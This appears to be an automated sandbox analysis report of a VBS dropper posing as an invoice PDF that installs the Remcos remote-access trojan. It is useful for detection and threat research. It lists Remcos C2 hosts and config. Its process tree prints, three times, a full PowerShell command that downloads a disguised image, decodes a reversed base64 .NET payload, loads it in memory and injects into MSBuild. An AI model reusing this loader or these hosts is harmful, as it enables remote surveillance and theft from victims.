Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-12-2024 12:21

General

  • Target

    4dd53bc42716f9abe36ae85c8ca8ea4b_m_FacturadeIVApdf.vbs

  • Size

    152KB

  • MD5

    4dd53bc42716f9abe36ae85c8ca8ea4b

  • SHA1

    aa44fc15455a5283e6596a4da7ee87ac4e4b8901

  • SHA256

    d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573

  • SHA512

    d9f5410d0f7c9135fa2b388030c766969ed7ea70edae73b514820bb39251f4f66d9af3d39fc46327cb7a6f207ca3e3b7e86a8fecec7629a3606d3c0789777952

  • SSDEEP

    3072:A8gVmI3b0mgfmWu+Dwe9VOv5iG5sVhQ30Wk+70wgA1A:A8gVde9VOvM

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

Extracted

Family

remcos

Botnet

NEW

C2

rem.pushswroller.eu:23101

firewarzone.ydns.eu:23101

dim.remofficialws.top:23101

rem.officialswvrem.top:23101

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmcghdzxtrswtwg-BJ2KPV

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4dd53bc42716f9abe36ae85c8ca8ea4b_m_FacturadeIVApdf.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4372
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\talpe.vbs"
        3⤵
          PID:2676
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:3456
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\ProgramData\talpe.vbs
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
            PID:628
      • C:\Windows\system32\wscript.exe
        wscript.exe C:\ProgramData\talpe.vbs
        1⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1536
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"
          2⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3260

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\talpe.vbs

        Filesize

        152KB

        MD5

        f46c154b82e9739bc0cb68c2b55c7141

        SHA1

        3cffae22113aa6d4525c702f164317713865ae49

        SHA256

        648aa1acba635f9025c41cb23dedd2e86c4abcec1ad91493e197a1b300c74e85

        SHA512

        11f540c4d95dbf6c79d87ee29e400a0c73db6d7fa196ceac29051b7b9d6b8a7c858a4cb359b223bd5851b45ea3228928ecce9a11c82c3c818a880f5f9de91ad0

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        81d91bab2fdd72436e4852d94ea7650d

        SHA1

        5652b3c46a0cf75a03859c5707f36fb08f5c631a

        SHA256

        68a3392780a3c6219350a2ca51262a74a2a9d6a1ea84686f38d473f37d0588e1

        SHA512

        df1e3da61c9657a7f0c0eac9ce610798421e138259ec2bf41063b8e8eb8e1c9e6d669aaba675ba16ccdceed1aa3f76b482893dc98f3d6b46cd48d61da7669268

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        dd8de7963a6528272c5f2302e74b8b9d

        SHA1

        adedefdf6dbdc9ca79d6c321d7a88365fa73d457

        SHA256

        47efb9218e266ef8a78b847122a5edc7c738e1194d39d3ab04310bf092deae06

        SHA512

        4292d575b4f30e0fd1b77478c6c7a53436fc9facd96b848d19532ec4b2a2f7e01b16805e80d531074ba46b51ed1775258f58448f4d9c63065483585ecd0d33c5

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        7d5d8cf9f65ce79e552409c240295219

        SHA1

        ec5e938110638dcd176ce0645682a0d3949dd5a8

        SHA256

        817d6bfa16b959aae0dec64568ec6d98fdd61a205c61dde60551e192e5478596

        SHA512

        0d06c42b9c5648311000eefe9bd5a952dafd999b5c7ab17dbbebb6c6d9cd4b1de451e13ef0af72dfa3557aee8cb8bb5521642db843c3f61dfd701dd6c95afb68

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vs5jcb0a.tnh.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/3456-56-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-75-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-20-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-24-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-57-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-58-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-25-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-28-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-29-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-30-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-31-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-32-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-33-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-34-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-35-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-36-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-37-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-39-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-38-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-40-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-41-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-42-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-43-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-44-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-45-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-46-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-48-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-49-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-50-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-51-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-53-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-54-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-55-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-87-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-59-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-86-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-85-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-60-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-61-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-62-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-63-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-64-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-65-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-66-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-67-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-68-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-69-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-70-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-71-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-72-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-73-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-74-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-84-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-76-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-77-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-78-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-79-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-80-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-81-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-82-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/3456-83-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4372-1-0x0000029328270000-0x0000029328292000-memory.dmp

        Filesize

        136KB

      • memory/4372-13-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

        Filesize

        10.8MB

      • memory/4372-15-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

        Filesize

        10.8MB

      • memory/4372-0-0x00007FFCFD083000-0x00007FFCFD085000-memory.dmp

        Filesize

        8KB

      • memory/4372-16-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

        Filesize

        10.8MB

      • memory/4372-14-0x00007FFCFD083000-0x00007FFCFD085000-memory.dmp

        Filesize

        8KB

      • memory/4372-12-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

        Filesize

        10.8MB

      • memory/4372-11-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

        Filesize

        10.8MB

      • memory/4372-17-0x0000029350A30000-0x0000029350BDA000-memory.dmp

        Filesize

        1.7MB

      • memory/4372-19-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

        Filesize

        10.8MB

      • memory/4372-23-0x00007FFCFD080000-0x00007FFCFDB41000-memory.dmp

        Filesize

        10.8MB